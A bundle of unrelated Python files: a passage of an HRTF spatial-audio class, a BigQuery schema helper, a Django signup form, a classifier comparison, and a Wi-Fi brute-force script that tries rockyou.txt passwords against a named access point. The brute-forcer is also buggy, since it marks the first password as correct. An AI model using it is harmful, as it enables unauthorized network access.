self.listener = HRTF._sofa_get_listener(f)
self.sources = HRTF._sofa_get_sourcepositions(f)
elif isinstance(data, Filter):
# This is a hacky shortcut for casting a filterbank as HRTF. Avoid unless you know what you are doing.
if sources is None:
raise ValueError('Must provide source positions when using a Filter object.')
self.samplerate = data.samplerate
fir = data.fir # save the fir property of the filterbank
# reshape the filterbank data to fit into HRTF (ind x taps x ear)
data = data.data.T[..., None]
self.data = []
for idx in range(data.shape[0]):
self.data.append(Filter(data[idx, :, :].T, self.samplerate, fir=fir))
self.sources = sources
if listener is None:
self.listener = [0, 0, 0]
else:
self.listener = listener
else:
self.samplerate = samplerate
self.data = []
for idx in range(data.shape[0]):
# (ind x taps x ear), 2 x n_taps filter (left right)
self.data.append(Filter(data[idx, :, :].T, self.samplerate))
self.sources = sources
if listener is None:
self.listener = [0, 0, 0]
else:
self.listener = listener
def __repr__(self):
return f'{type(self)} (\n{repr(self.data)} \n{repr(self.samplerate)})'
def __str__(self):
return f'{type(self)} sources {self.n_sources}, elevations {self.n_elevations},' \
f'samples {self.data[0].n_samples}, samplerate {self.samplerate}'
# Static methods (used in __init__)
@staticmethod
def _sofa_load(filename, verbose=False):
"""
Read a SOFA file.
Arguments:
filename (str): full path to the .sofa file.
Returns:
(h5netcdf.core.File): the data from the .sofa file.
"""
if h5netcdf is False:
raise ImportError('Reading from sofa files requires h5py and h5netcdf.')
with warnings.catch_warnings():
warnings.simplefilter("ignore")
f = h5netcdf.File(filename, 'r')
if verbose:
f.items()
return f
@staticmethod
def _sofa_get_samplerate(f):
"""
Returns the sampling rate of the recordings. If the sampling rate is not given in Hz, the function assumes
it is given in kHz and multiplies by 1000 to convert to Hz.
Arguments:
f (h5netcdf.core.File): data as returned by the `_sofa_load` method.
Returns:
(float): the sampling rate in Hz.
"""
attr = dict(f.variables['Data.SamplingRate'].attrs.items()) # get attributes as dict
unit = attr['Units'].decode('UTF-8') # extract and decode Units
if unit in ('hertz', 'Hz'):
return float(numpy.array(f.variables['Data.SamplingRate'], dtype='float'))
warnings.warn('Unit other than Hz. ' + unit + '. Assuming kHz.')
return 1000 * float(numpy.array(f.variables['Data.SamplingRate'], dtype='float'))
@staticmethod
def _sofa_get_sourcepositions(f):
"""
Returns an array of positions of all sound sources.
Arguments:
f (h5netcdf.core.File): data as returned by the _sofa_load method.
Returns:
(numpy.ndarray): spherical coordinates (azimuth, elevation, distance) of all sources.
"""
# spherical coordinates, (azi,ele,radius), azi 0..360 (0=front, 90=left, 180=back), ele -90..90
attr = dict(f.variables['SourcePosition'].attrs.items()) # get attributes as dict
unit = attr['Units'].decode('UTF-8').split(',')[0] # extract and decode Units
if unit in ('degree', 'degrees', 'deg'):
return numpy.array(f.variables['SourcePosition'], dtype='float')
if unit in ('meter', 'meters', 'metre', 'metres', 'm'):
# convert to azimuth and elevation
sources = numpy.array(f.variables['SourcePosition'], dtype='float')
x, y, z = sources[:, 0], sources[:, 1], sources[:, 2]
r = numpy.sqrt(x**2 + y**2 + z**2)
azimuth = numpy.rad2deg(numpy.arctan2(y, x))
elevation = 90 - numpy.rad2deg(numpy.arccos(z / r))
return numpy.stack((azimuth, elevation, r), axis=1)
warnings.warn('Unrecognized unit for source positions: ' + unit)
# fall back to no conversion
return numpy.array(f.variables['SourcePosition'], dtype='float')
@staticmethod
def _sofa_get_listener(f):
"""
Returns dict with listeners positional information - used for plotting.
Attributes:
f (h5netcdf.core.File): data as returned by the `_sofa_load()` method.
Returns:
(dict): position of the listener ("pos"), the point which the listener is fixating ("view")
the point 90° above the listener ("up") and vectors from the listener to those points.
"""
lis = {'pos': numpy.array(f.variables['ListenerPosition'], dtype='float')[0],
'view': numpy.array(f.variables['ListenerView'], dtype='float')[0],
'up': numpy.array(f.variables['ListenerUp'], dtype='float')[0]}
lis['viewvec'] = numpy.concatenate([lis['pos'], lis['pos']+lis['view']])
lis['upvec'] = numpy.concatenate([lis['pos'], lis['pos']+lis['up']])
return lis
@staticmethod
def _sofa_get_FIR(f):
"""
Returns an array of FIR filters for all source positions.
Attributes:
f (h5netcdf.core.File): data as returned by the `_sofa_load()` method.
Returns:
(numpy.ndarray): a 3-dimensional array where the first dimension represents the number of sources from
which data was recorded and the second dimension represents the left and right ear.
"""
datatype = f.attrs['DataType'].decode('UTF-8') # get data type
if datatype != 'FIR':
warnings.warn('Non-FIR data: ' + datatype)
return numpy.array(f.variables['Data.IR'], dtype='float')
def apply(self, source, sound, allow_resampling=True):
"""
Apply a filter from the HRTF set to a sound. The sound will be recast as slab.Binaural. If the samplerates
of the sound and the HRTF are unequal and `allow_resampling` is True, then the sound will be resampled to the
filter rate, filtered, and then resampled to the original rate.
The filtering is done with `scipy.signal.fftconvolve`.
Arguments:
source (int): the source index of the binaural filter in self.data.
sound (slab.Signal | slab.Sound | slab.Binaural): the sound to be rendered spatially.
Returns:
(slab.Binaural): a spatialized copy of `sound`.
"""
if (sound.samplerate != self.samplerate) and (not allow_resampling):
raise ValueError('Filter and sound must have same sampling rates.')
original_rate = sound.samplerate
sound = sound.resample(self.samplerate) # does nothing if samplerates are the same
left = scipy.signal.fftconvolve(sound[:, 0], self.data[source][:, 0])
if sound.n_channels == 1:
right = scipy.signal.fftconvolve(sound[:, 0], self.data[source][:, 1])
else:
right = scipy.signal.fftconvolve(sound[:, 1], self.data[source][:, 1])
convolved_sig = Signal([left, right], samplerate=self.samplerate)
out = copy.deepcopy(sound)
out.data = convolved_sig.data
return out.resample(original_rate)
def elevations(self):
"""
Get all different elevations at which sources where recorded . Note: This currently only works as
intended for HRTFs recorded in horizontal rings.
Returns:
(list): a sorted list of source elevations.
"""
return sorted(list(set(numpy.round(self.sources[:, 1]))))
def plot_tf(self, sourceidx, ear='left', xlim=(1000, 18000), n_bins=None, kind='waterfall',
linesep=20, xscale='linear', show=True, axis=None):
"""
Plot transfer functions of FIR filters at a list of source indices.
Arguments:
ear (str): the ear from which data is plotted. Can be 'left', 'right', or 'both'.
sourceidx (list of int): sources to plot. Typically be generated using the `hrtf.cone_sources` Method.
xlim (tuple of int): frequency range of the plot
n_bins (int) : passed to :meth:`slab.Filter.tf` and determines frequency resolution
kind (str): type of plot to draw. Can be `waterfall` (as in Wightman and Kistler, 1989) or
`image` (as in Hofman 1998).
linesep (int): vertical distance between transfer functions in the waterfall plot
xscale (str): sets x-axis scaling ('linear', 'log')
show (bool): If True, show the plot immediately
axis (matplotlib.axes._subplots.AxesSubplot): Axis to draw the plot on
"""
if matplotlib is False:
raise ImportError('Plotting HRTFs requires matplotlib.')
if ear == 'left':
chan = 0
elif ear == 'right':
chan = 1
elif ear == 'both':
if axis is not None and not isinstance(axis, (list, numpy.ndarray)):
raise ValueError("Axis must be a list of length two when plotting left and right ear!")
elif axis is None:
axis = [None, None]
if kind == 'image':
fig1 = self.plot_tf(sourceidx, ear='left', xlim=xlim, axis=axis[0], show=show,
linesep=linesep, n_bins=n_bins, kind='image', xscale=xscale)
fig2 = self.plot_tf(sourceidx, ear='right', xlim=xlim, axis=axis[1], show=show,
linesep=linesep, n_bins=n_bins, kind='image', xscale=xscale)
elif kind == "waterfall":
fig1 = self.plot_tf(sourceidx, ear='left', xlim=xlim, axis=axis[0], show=show,
linesep=linesep, n_bins=n_bins, kind='waterfall', xscale=xscale)
fig2 = self.plot_tf(sourceidx, ear='right', xlim=xlim, axis=axis[1], show=show,
linesep=linesep, n_bins=n_bins, kind='waterfall', xscale=xscale)
else:
raise ValueError("'Kind' must be either 'waterfall' or 'image'!")
return fig1, fig2
else:
raise ValueError("Unknown value for ear. Use 'left', 'right', or 'both'")
if not axis:
fig, axis = plt.subplots()
else:
fig = axis.figure
if kind == 'waterfall':
vlines = numpy.arange(0, len(sourceidx)) * linesep
for idx, s in enumerate(sourceidx):
filt = self.data[s]
freqs, h = filt.tf(channels=chan, n_bins=n_bins, show=False)
axis.plot(freqs, h + vlines[idx],
linewidth=0.75, color='0.0', alpha=0.7)
ticks = vlines[::3] # plot every third elevation
labels = numpy.round(self.sources[sourceidx, 1]*2, decimals=-1)/2
# plot every third elevation label, omit comma to save space
labels = labels[::3].astype(int)
axis.set(yticks=ticks, yticklabels=labels)
axis.grid(b=True, axis='y', which='both', linewidth=0.25)
axis.plot([xlim[0]+500, xlim[0]+500], [vlines[-1]+10, vlines[-1] +
10+linesep], linewidth=1, color='0.0', alpha=0.9)
axis.text(x=xlim[0]+600, y=vlines[-1]+10+linesep/2,
s=str(linesep)+'dB', va='center', ha='left', fontsize=6, alpha=0.7)
elif kind == 'image':
if not n_bins:
img = numpy.zeros((self.data[sourceidx[0]].n_taps, len(sourceidx)))
else:
img = numpy.zeros((n_bins, len(sourceidx)))
elevations = self.sources[sourceidx, 1]
for idx, source in enumerate(sourceidx):
filt = self.data[source]
freqs, h = filt.tf(channels=chan, n_bins=n_bins, show=False)
img[:, idx] = h.flatten()
img[img < -25] = -25 # clip at -40 dB transfer
contour = axis.contourf(freqs, elevations, img.T, cmap='hot', origin='upper', levels=20)
divider = make_axes_locatable(axis)
cax = divider.append_axes('right', size='5%', pad=0.05)
fig.colorbar(contour, cax, orientation="vertical")
else:
raise ValueError("Unknown plot type. Use 'waterfall' or 'image'.")
axis.autoscale(tight=True)
axis.xaxis.set_major_formatter(
matplotlib.ticker.FuncFormatter(lambda x, pos: str(int(x/1000))))
axis.tick_params('both', length=2, pad=2)
axis.set(xlabel='Frequency [kHz]', ylabel='Elevation [˚]', xlim=xlim, xscale=xscale)
if show:
plt.show()
def diffuse_field_avg(self):
"""
Compute the diffuse field average transfer function, i.e. the constant non-spatial portion of a set of HRTFs.
The filters for all sources are averaged, which yields an unbiased average only if the sources are uniformly
distributed around the head.
Returns:
(Filter): the diffuse field average as FFR filter object.
"""
dfa = []
for source in range(self.n_sources):
filt = self.data[source]
for chan in range(filt.n_channels):
_, h = filt.tf(channels=chan, show=False)
dfa.append(h)
dfa = 10 ** (numpy.mean(dfa, axis=0)/20) # average and convert from dB to gain
return Filter(dfa, fir=False, samplerate=self.samplerate)
def diffuse_field_equalization(self, dfa=None):
"""
Equalize the HRTF by dividing each filter by the diffuse field average. The resulting filters have a mean
close to 0 and are Fourier filters.
Arguments:
dfa (None): Filter object containing the diffuse field average transfer function of the HRTF.
If none is provided, the `diffuse_field_avg` method is called to obtain it.
Returns:
(HRTF): diffuse field equalized version of the HRTF.
"""
if dfa is None:
dfa = self.diffuse_field_avg()
# invert the diffuse field average
dfa.data = 1/dfa.data
dtfs = copy.deepcopy(self)
# apply the inverted filter to the HRTFs
for source in range(dtfs.n_sources):
filt = dtfs.data[source]
_, h = filt.tf(show=False)
h = 10 ** (h / 20) * dfa
dtfs.data[source] = Filter(data=h, fir=False, samplerate=self.samplerate)
return dtfs
def cone_sources(self, cone=0):
"""
Get all sources of the HRTF that lie on a "cone of confusion". The cone is a vertical off-axis sphere
slice. All sources that lie on the cone have the same interaural level and time difference.
Note: This currently only works as intended for HRTFs recorded in horizontal rings.
Arguments:
cone (int | float): azimuth of the cone center in degree.
Returns:
(list): elements of the list are the indices of sound sources on the frontal half of the cone.
Examples::
import HRTF
hrtf = slab.HRTF.kemar()
sourceidx = hrtf.cone_sources(20) # get the source indices
print(hrtf.sources[sourceidx]) # print the coordinates of the source indices
hrtf.plot_sources(sourceidx) # show the sources in a 3D plot
"""
cone = numpy.sin(numpy.deg2rad(cone))
azimuth = numpy.deg2rad(self.sources[:, 0])
elevation = numpy.deg2rad(90 - self.sources[:, 1])
# the points defined by x and y are the source locations projected onto the azimuth plane
x = numpy.sin(elevation) * numpy.cos(azimuth)
y = numpy.sin(elevation) * numpy.sin(azimuth)
eles = self.elevations()
out = []
for ele in eles: # for each elevation, find the source closest to the reference y
subidx, = numpy.where((numpy.round(self.sources[:, 1]) == ele) & (x >= 0))
cmin = numpy.min(numpy.abs(y[subidx]-cone))
if cmin < 0.05: # only include elevation where the closest source is less than 5 cm away
idx, = numpy.where((numpy.round(self.sources[:, 1]) == ele) & (
numpy.abs(y-cone) == cmin))
out.append(idx[0])
return sorted(out, key=lambda x: self.sources[x, 1])
def elevation_sources(self, elevation=0):
"""
Get the indices of sources along a horizontal sphere slice at the given `elevation`.
Arguments:
elevation (int | float): The elevation of the sources in degree. The default returns sources along
the frontal horizon.
Returns:
(list): indices of the sound sources. If the hrtf does not contain the specified `elevation` an empty
list is returned.
"""
idx = numpy.where((self.sources[:, 1] == elevation) & (
(self.sources[:, 0] <= 90) | (self.sources[:, 0] >= 270)))
return idx[0].tolist()
def tfs_from_sources(self, sources, n_bins=96):
"""
Get the transfer function from sources in the hrtf.
Arguments:
sources (list): Indices of the sources (as generated for instance with the `HRTF.cone_sources` method), for
which the transfer function is extracted.
n_bins (int): The number of frequency bins for each transfer function
Returns:
(numpy.ndarray): 2-dimensional array where the first dimension represents the frequency bins and the
second dimension represents the sources.
"""
n_sources = len(sources)
tfs = numpy.zeros((n_bins, n_sources))
for idx, source in enumerate(sources):
_, jwd = self.data[source].tf(channels=0, n_bins=n_bins, show=False)
tfs[:, idx] = jwd.flatten()
return tfs
def interpolate(self, azimuth=0, elevation=0, method='nearest', plot_tri=False):
"""
Interpolate a filter at a given azimuth and elevation from the neighboring HRTFs. A weighted average of the
3 closest HRTFs in the set is computed in the spectral domain with barycentric weights. The resulting filter
values vary smoothly with changes in azimuth and elevation. The fidelity of the interpolated filter decreases
with increasing distance of the closest sources and should only be regarded as appropriate approximation when
the contributing filters are less than 20˚ away.
Arguments:
azimuth (float): the azimuth component of the direction of the interpolated filter
elevation (float): the elevation component of the direction of the interpolated filter
method (str): interpolation method, 'nearest' returns the filter of the nearest direction. Any other string
returns a barycentric interpolation.
plot_tri (bool): plot the triangulation of source positions used of interpolation. Useful for checking
for areas where the interpolation may not be accurate (look for irregular or elongated triangles).
Returns:
(slab.Filter): a 2-channel Filter, interpolated from the neighboring filters in the set
"""
# spherical to cartesian
coords = self.cartesian_source_locations()
r = self.sources[:, 2].mean()
target = self.cartesian_source_locations((azimuth, elevation, r))
# compute distances from target direction
distances = numpy.sqrt(((target - coords)**2).sum(axis=1))
if method == 'nearest':
idx_nearest = numpy.argmin(distances)
return self.data[idx_nearest]
# triangulate source positions into triangles
if not scipy:
raise ImportError('Need scipy.spatial for barycentric interpolation.')
tri = scipy.spatial.ConvexHull(coords)
if plot_tri:
ax = plt.subplot(projection='3d')
for simplex in tri.points[tri.simplices]:
polygon = Poly3DCollection([simplex])
polygon.set_color(numpy.random.rand(3))
ax.add_collection3d(polygon)
mins = coords.min(axis=0)
maxs = coords.max(axis=0)
xlim, ylim, zlim = list(zip(mins, maxs))
ax.set_xlim(xlim)
ax.set_ylim(ylim)
ax.set_zlim(zlim)
ax.set_xlabel('X [m]')
ax.set_ylabel('Y [m]')
ax.set_zlabel('Z [m]')
plt.show()
# for each simplex, find the coords, test if target in triangle (by finding minimal d)
d_min = numpy.inf
for i, vertex_list in enumerate(tri.simplices):
simplex = tri.points[vertex_list]
d, a = HRTF._barycentric_weights(simplex, target)
if d < d_min:
d_min, idx, weights = d, i, a
vertex_list = tri.simplices[idx]
# we now have the indices of the filters and the corresponding weights
amplitudes = list()
for idx in vertex_list:
freqs, amps = self.data[idx].tf(show=False) # get their transfer functions
amplitudes.append(amps) # we could interpolate here if frequencies differ between filters
avg_amps = amplitudes[0] * weights[0] + amplitudes[1] * weights[1] + amplitudes[2] * weights[2] # average
gains = avg_amps - avg_amps.max() # shift so that maximum is zero, because we can only attenuate
gains[gains < -60] = -60 # limit dynamic range to 60 dB
gains_lin = 10**(gains/20) # transform attenuations in dB to factors
filt_l = Filter.band(frequency=list(freqs), gain=list(gains_lin[:, 0]), fir=True,
samplerate=self.data[vertex_list[0]].samplerate)
filt_r = Filter.band(frequency=list(freqs), gain=list(gains_lin[:, 1]), fir=True,
samplerate=self.data[vertex_list[0]].samplerate)
filt = Filter(data=[filt_l, filt_r])
return filt
@staticmethod
def _barycentric_weights(triangle, point):
'''
Returns:
(None | numpy.array): barycentric weights for a given triangle (array of coordinates of points) and target
point IF the point is inside the triangle; None if the point is outside the triangle.
'''
# compute barycentric weights via the area of the 3 triangles formed between target and 3 nearest sources:
dist = lambda p1, p2: numpy.sqrt(((p1 - p2)**2).sum())
d1 = dist(point, triangle[0, :]) # distances from target to each source
d2 = dist(point, triangle[1, :])
d3 = dist(point, triangle[2, :])
d12 = dist(triangle[0, :], triangle[1, :]) # distance between sources 1 and 2
d13 = dist(triangle[0, :], triangle[2, :])
d23 = dist(triangle[1, :], triangle[2, :])
# compute triangle areas from length of sides (distances) with Heron's Formula
a = numpy.array([0., 0., 0.])
p = (d2 + d3 + d23) / 2
a[0] = numpy.sqrt(p * (p-d2) * (p-d3) * (p-d23))
p = (d1 + d3 + d13) / 2
a[1] = numpy.sqrt(p * (p-d1) * (p-d3) * (p-d13))
p = (d1 + d2 + d12) / 2
a[2] = numpy.sqrt(p * (p-d1) * (p-d2) * (p-d12))
p = (d12 + d13 + d23) / 2
tot = numpy.sqrt(p * (p-d12) * (p-d13) * (p-d23))
return a.sum() - tot, a / a.sum() # normalize by total area = barycentric weights of sources in idx_triangle
def cartesian_source_locations(self, coordinates=None):
"""
Convert spherical coordinates of source locations in an HRTF object into cartesian coordinates useful for
plotting and distance calculations. If you supply a list or array of coordinates, then those are converted.
Arguments:
coodrdinates (None | numpy.ndarray): source locations in spherical coordinates. If None use the object's
coordinate array (self.sources).
Returns:
(numpy.ndarray): the source locations in cartesian coordinates as (n x 3) array
"""
if coordinates is None:
coordinates = self.sources
elif isinstance(coordinates, (list, tuple)):
coordinates = numpy.array(coordinates)
if len(coordinates.shape) == 1: # a single location (vector) needs to be converted to a 2d matrix
coordinates = coordinates[numpy.newaxis, ...]
azimuths = numpy.deg2rad(coordinates[:, 0])
elevations = numpy.deg2rad(90 - coordinates[:, 1])
r = coordinates[:, 2]
out = numpy.empty(coordinates.shape)
out[:, 0] = r * numpy.sin(elevations) * numpy.cos(azimuths)
out[:, 1] = r * numpy.sin(elevations) * numpy.sin(azimuths)
out[:, 2] = r * numpy.cos(elevations)
return out
def vsi(self, sources=None, equalize=True):
"""
Compute the "vertical spectral information" which is a measure of the dissimilarity of spectral profiles
at different elevations. The vsi relates to behavioral localization accuracy in the vertical dimension
(Trapeau and Schönwiesner, 2016). It is computed as one minus the average of the correlation coefficients
between all combinations of directional transfer functions of the specified `sources`. A set of identical
transfer functions results in a vsi of 0 whereas highly different transfer functions will result in a high VSI
(empirical maximum is ~1.07, KEMAR has a VSI of 0.82).
Arguments:
sources (None | list): indices of sources for which to compute the VSI. If None use the vertical midline.
equalize (bool): If True, apply the `diffuse_field_equalization` method (set to False if the hrtf object
is already diffuse-field equalized).
Returns:
(float): the vertical spectral information between the specified `sources`.
"""
if sources is None:
sources = self.cone_sources()
if equalize:
dtf = self.diffuse_field_equalization()
tfs = dtf.tfs_from_sources(sources=sources)
else:
tfs = self.tfs_from_sources(sources=sources)
sum_corr = 0
n = 0
for i in range(len(sources)):
for j in range(i+1, len(sources)):
sum_corr += numpy.corrcoef(tfs[:, i], tfs[:, j])[1, 0]
n += 1
return 1 - sum_corr / n
def plot_sources(self, idx=None, show=True, axis=None):
"""
Plot source locations in 3D.
Arguments:
idx (list of int): Indices to highlight in den plot
show (bool): Whether to show plot or
axis (mpl_toolkits.mplot3d.axes3d.Axes3D): Axis to draw the plot on
"""
if matplotlib is False or Axes3D is False:
raise ImportError('Plotting 3D sources requires matplotlib and mpl_toolkits')
if axis is None:
ax = plt.subplot(projection='3d')
else:
if not isinstance(axis, Axes3D):
raise ValueError("Axis must be instance of Axes3D!")
ax = axis
coords = self.cartesian_source_locations()
ax.scatter(coords[:, 0], coords[:, 1], coords[:, 2], c='b', marker='.')
ax.scatter(0, 0, 0, c='r', marker='o')
if self.listener:
x_, y_, z_, u, v, w = zip(*[self.listener['viewvec'], self.listener['upvec']])
ax.quiver(x_, y_, z_, u, v, w, length=0.5, colors=['r', 'b', 'r', 'r', 'b', 'b'])
if idx is not None:
ax.scatter(coords[idx, 0], coords[idx, 1], coords[idx, 2], c='r', marker='o')
ax.set_xlabel('X [m]')
ax.set_ylabel('Y [m]')
ax.set_zlabel('Z [m]')
if show:
plt.show()
@staticmethod
def kemar():
'''
Provides HRTF data from the KEMAR recording (normal pinna) conducted by Gardner and Martin at MIT in 1994
(MIT Media Lab Perceptual Computing - Technical Report #280) and converted to the SOFA Format. Slab includes a
compressed copy of the data. This function reads it and returns the corresponding HRTF object. The objects is
cached in the class variable `_kemar` and repeated calls return the cached object instead of reading the file
from disk again.
Returns:
(slab.HRTF): the KEMAR HRTF data.
'''
global _kemar
if _kemar is None:
kemar_path = pathlib.Path(__file__).parent.resolve() / pathlib.Path('data') / 'mit_kemar_normal_pinna.bz2'
_kemar = pickle.load(bz2.BZ2File(kemar_path, "r"))
return _kemar
|
import wifi
inerface = input("WI-FI INTERFACE(default wlan0): ")
def Search():
wifilist = []
cells = wifi.Cell.all(inerface)
for cell in cells:
wifilist.append(cell)
return wifilist
def FindFromSearchList(ssid):
wifilist = Search()
for cell in wifilist:
if cell.ssid == ssid:
return cell
return False
def Connect(ssid, password):
cell = FindFromSearchList(ssid)
if cell:
# First time to conenct
if cell:
if cell.encrypted:
if password:
scheme = Add(cell, password)
try:
scheme.activate()
# Wrong Password
except:
return False
return cell
else:
return False
else:
scheme = Add(cell)
try:
scheme.activate()
except:
return False
return cell
return False
def Add(cell, password=None):
if not cell:
return False
scheme = wifi.Scheme.for_cell(inerface, cell.ssid, cell, password)
scheme.save()
return scheme
if __name__ == '__main__':
with open('rockyou.txt', errors='ignore') as passwords:
passwords = passwords.readlines()
print(Search())
name = input('WI-FI POINT NAME: ')
for password in passwords:
password = password.replace('\n', '')
try:
print(Connect(name, str(password)))
print(password + ' [TRUE]')
break
except:
print(password + ' [FALSE]')
|
###########################################################################
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
###########################################################################
import json
import textwrap
import argparse
from starthinker.util.project import project
from starthinker.util.bigquery import table_to_schema
def main():
# get parameters
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description=textwrap.dedent("""\
Command line to get table schema from BigQuery.
This is a helper to help developers debug and create tables.
Example: `python helper.py --project [id] --dataset [name] --table [name] -s [credentials]`
"""))
parser.add_argument(
'--dataset', '-d', help='name of BigQuery dataset', default=None)
parser.add_argument(
'--table', '-t', help='name of BigQuery table', default=None)
# initialize project
project.from_commandline(
parser=parser, arguments=('-u', '-c', '-s', '-v', '-p'))
auth = 'service' if project.args.service else 'user'
# print schema
print(
json.dumps(
table_to_schema(auth, project.id, project.args.dataset,
project.args.table)['fields'],
indent=2))
if __name__ == '__main__':
main()
|
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.models import User
from django import forms
class RegisterForm(UserCreationForm):
email = forms.EmailField(label="Email", required=True,
help_text='Required. Inform a valid email address.')
name = forms.CharField(label="Name", required=True)
class Meta:
model = User
fields = ('username','name', 'email')
def clean_email(self, *args, **kwargs):
email = self.cleaned_data['email']
if User.objects.filter(email=email):
raise forms.ValidationError('Email already exists.')
else:
return email
def save_all(self, commit=True):
user = super(RegisterForm, self).save(commit=False)
user.name = self.cleaned_data['name']
user.email = self.cleaned_data['email']
if commit:
user.save()
return user |
import data_process as dp
from Ensemble_Methods import EnsembleLearner
from Decision_Regression_Forest import RandomForest
from KNN import KNN
from Logistic_Regression import Logistic_Regression
from Naive_Bays import NaiveBays
from SVM import SVM_Kernel
# load data
data_raw, data_index = dp.load_data('heart_disease_data.csv')
data_rf = data_raw.iloc[:, 0:-1].values.tolist()
data_rf_target = data_raw.iloc[:, -1].values.tolist()
data_rf = dp.normalize_data(data_rf)
data_train, data_train_target, data_test, data_test_target = dp.split_train_test_data(data_rf, data_rf_target, 0.7,
seed=2)
# random froests classifier
forests_clf = RandomForest()
forests_clf.build_forests(data_train, data_train_target,
tree_number=200, max_features=10, random_subspaces=False, max_depth=None, parallel=True)
print(f'random forest score: {round(forests_clf.score(data_test, data_test_target) * 100, 3)}%')
# knn classifier
knn = KNN(data_train, data_train_target)
K = knn.optimize_K(data_test, data_test_target, showtime=False)
print(f'knn score:{round(K[0] * 100, 3)}%')
# logistic regression classifier
lr_clf = Logistic_Regression(data_train, data_train_target)
lr_clf.train(threshold=0.5, reg_lambda=0.1, stp=0.1, max_epoch=50, plot=False)
score = lr_clf.score(data_test, data_test_target, threshold=0.5)
print(f'logistic regression score: {round(score * 100, 3)}%')
# naive bays classifier
nb_clf = NaiveBays(data_train, data_train_target)
score = nb_clf.score(data_test, data_test_target)
print(f'naive bays score: {round(score * 100, 3)}%')
# svm classifier
svm_gaussian = SVM_Kernel(data_train, data_train_target, 'gaussian')
svm_gaussian.train(C=1e10, sigma=0.8, degree=2, bias=0, stp=1, epoch_limit=1000, stp_limit=1e-100, plot=False,
stp_show=False)
score_bias = svm_gaussian.score(data_test, data_test_target)
print(f'svm gaussian score:{round(score_bias * 100, 3)}%')
# ensemble learning classifier
ensemble_clf = EnsembleLearner(data_train, data_train_target)
score = ensemble_clf.hard_voting_score(data_test, data_test_target, forests_clf, knn, lr_clf, svm_gaussian)
print(f'## hard volting score:{round(score * 100, 3)}%')
# adaBoost classifier
num = 300
boost_clf = EnsembleLearner(data_train, data_train_target)
boost_clf.adaBoost_train(estimator_limit=num, learning_rate=1, base_estimator='decision tree')
score = boost_clf.adaBoost_score(data_test, data_test_target)
print(f'## adaboost classifier score:{round(score * 100, 3)}%')
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.